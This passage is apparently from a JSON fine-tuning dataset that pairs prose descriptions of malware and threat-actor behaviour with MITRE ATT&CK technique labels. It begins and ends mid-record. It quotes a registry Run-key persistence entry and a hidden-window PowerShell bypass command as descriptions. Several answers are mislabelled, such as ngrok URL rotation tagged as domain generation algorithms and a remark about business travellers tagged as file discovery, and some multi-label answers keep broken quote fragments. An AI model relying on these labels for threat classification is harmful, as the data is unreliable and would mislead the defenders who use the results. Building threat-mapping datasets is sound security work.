        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rifdoor has created a new registry entry at \"HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Graphics\" with a value of \"C:\\ProgramData\\Initech\\Initech.exe /run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Gamaredon Group file stealer can transfer collected files to a hardcoded C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 modified timestamps of backdoors to match legitimate Windows files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has dropped and executed SecretsDump to dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic has used the command \"Powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden\" to hide its window."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This activity is performed after the implants are in place to force users to reauthenticate. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These Microsoft Office templates are hosted on a command and control server and the downloaded link is embedded in the first stage malicious document"
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lured victims to double-click on images in the attachments they sent which would then execute the hidden LNK file."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used social media platforms to hide communications to C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stolen Pencil has used tools that are capable of obtaining credentials from saved mail."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has scanned for vulnerabilities in IoT devices and other related resources such as the Docker API."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a command-line interface to interact with systems."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NetTraveler reports window names along with keylogger information to provide application context."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Out1 can use native command line for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The string “fjzmpcjvqp” is unique and not something likely to be present if the code was not generated with the same public POC exploit code"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Misdat is capable of deleting Registry keys used for persistence."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1070.009 - Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot can collect files and information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Obscure secure messaging client as delivery vehicle for malware and cloak for malicious activity"
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The executables installed by the compiled AutoIt scripts is a backdoor that Molerats has used in many attack campaigns. Based on our research, the Spark backdoor has been used by Molerats since at least early 2017, as it was the main payload in the Operation Parliament campaign reported by Kaspersky"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used names like `adobeupdate.dat` and `PotPlayerDB.dat` to disguise PlugX, and a file named `OneDrive.exe` to load a Cobalt Strike payload."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can track key presses with a keylogger module."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Generate payloads in various formats:      Format Architecture Short Name     Android Package x86 & ARMv7 apk   Linux Binary x86 lin_x86   Linux Binary x64 lin_x64   Linux Shared Object x86 so_x86   Linux Shared Object x64 so_x64   Windows PE Executable x86 exe_x86   Windows PE Executable x64 exe_x64   Windows DLL x86 dll_x86   Windows DLL x64 dll_x64   Python Script x86 & x64 py   PyInstaller x86 & x64 pyinst   Python Oneliner x86 & x64 py_oneliner   Powershell x86 & x64 ps1   Powershell Oneliner x86 & x64 ps1_oneliner   Ducky Script N/A rubber_ducky      Deploy in memory from a single command line using python or powershell one-liners"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1010 - Application Window Discovery', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. APT28 has also used a machine to relay and obscure communications between CHOPSTICK and their server."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has used Base64 to encode its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As Hui explains, this happens because ngrok.io URLs stay online for only around 12 hours, and by the time security researchers identify a new C&amp;C URL, the ngrok.io link changes to a new one, hiding the botnet from researchers once more. This allows the botnet to survive more than other botnets that host C&amp;C servers on popular hosting platforms where security firms can usually intervene via abuse requests"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAR archiving – files are transferred to staging servers before exfiltration. Certutil – a command-line utility that can be exploited and used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates. Adfind – a command-line tool that can be used to perform Active Directory queries. Csvde – can be used to extract Active Directory files and data. Ntdsutil – can be used as a credential-dumping tool. WMIExec – can be used for lateral movement and to execute commands remotely. It can be used to find information and execute code, and is frequently abused by malicious actors"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use a Registry Run Key and the Startup folder to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used a cloud-based remote access software called LogMeIn for their attacks."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "attempts to download an encrypted binary from a specified domain."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot)."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors behind Agent Tesla campaigns have also used malicious Office documents to facilitate first-stage delivery. Specially-crafted documents, exploiting Office vulnerabilities such as CVE-2017-11882 and CVE-2017-8570, have been leveraged, even in present day campaigns. These and similar exploits allow for quick delivery and execution with minimal user interaction (beyond opening the malicious documents and allowing active content to proceed"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The document also contained a lure image, similar to ones commonly found in malicious macro documents which ask the user to click on “Enable Content” as seen in Figure 2"
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has also used PowerSploit's \"Invoke-ReflectivePEInjection.ps1\" to reflectively load a PowerShell payload into a random process on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony is a popular downloader program that can download additional malware onto the infected system. It is also equipped with a number of plugins that may be used to steal stored credentials for various applications such as FTP clients, web browsers, email clients, and other software. Pony is also commonly known as Fareit."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie', 'T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of configuring itself as a service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zirconium is using what are referred to as web bugs, or web beacons, tied to a domain they purchased and populated with content. Although the domain itself may not have malicious content, the web bug allows Zirconium to check if a user attempted to access the site"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GCMAN uses VNC for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The organization managed to discover what scripts were hosted on the server before BE/SandWorm gang deleted them, and unfortunately couldn’t restore them after they were deleted"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has used spearphishing attachments to distribute its malware."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The encryption style does not differ significantly from other prominent ransomware families. WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives. Once the eligible drives are located, the ransomware will begin the encryption process"
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects user files from the compromised host based on predefined file extensions."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-1314 actors used a victim's endpoint management platform, Altiris, for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has been loaded through a `.wll` extension added to the ` %APPDATA%\\microsoft\\word\\startup\\` repository."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda uses PowerShell to download and execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drovorub can use TCP to communicate between its agent and client modules."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors executed an encoded VBScript file using `wscript` and wrote the decoded output to a text file."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GALLIUM used a modified version of HTRAN to redirect connections between networks."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ComRAT has used \"cmd.exe\" to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Babuk can use multiple Windows API calls for actions on compromised hosts including discovery and execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC. 7z.dll), Far Manager (e.g. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e. the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\\build\\workspace\\cobalt_cryptor_far (dev071)\\farmanager\\far\\platform.concurrency.hpp"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Business and government personnel who are traveling, especially in a foreign country, often rely on systems to conduct business other than those at their home office, and may be unfamiliar with threats posed while abroad"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects MAC address and local IP address information from the victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The captured sample used in this analysis is an MSI file named “view-(AVISO)2020.msi” that is spread through a ZIP archive, just as with the previous variant. In the previous analysis, I showed that this MSI file is parsed and executed automatically by MsiExec.exe when a user double clicks on it in Windows OS"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can record keystrokes from both the keyboard and virtual keyboard."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. Source: Secureworks) - xxmm downloader (also known as KVNDM) — This simple downloader's code is similar to the main xxmm payload. MSGet — This persistent downloader uses a dead-drop resolver (DDR) to download and execute another malicious payload. MSGet typically downloads encoded binaries from hard-coded URLs. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems"
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed using multiple implants with file system enumeration and traversal capabilities."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "probes the system to check for sandbox/virtualized environments and other antimalware processes."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This component achieves persistence through the Run registry key and has full backdoor capabilities: it can download and execute binaries, run arbitrary commands or upload files from the victim computer to the C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fysbis can collect information about running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the configuration is parsed, Cardinal RAT will proceed with making attempts at connecting with the C2. Using an example request and response from a C2 server, we can see how this traffic is configured"
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used scheduled tasks to automatically log out of created accounts every 8 hours as well as to execute malicious files."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to communicate with its C2 over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has enumerated sessions and users on a remote host, and identified privileged users logged into a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkHydrus used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable Forced Authentication."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used key loggers to steal usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used multiple layers of encryption within malware to protect C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can gather information on the mapped drives, OS version, computer name, and memory size."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest uses AppleScript's \"osascript -e\" command to launch ThiefQuest's persistence via Launch Agent and Launch Daemon."
            },
            {
                "role": "assistant",
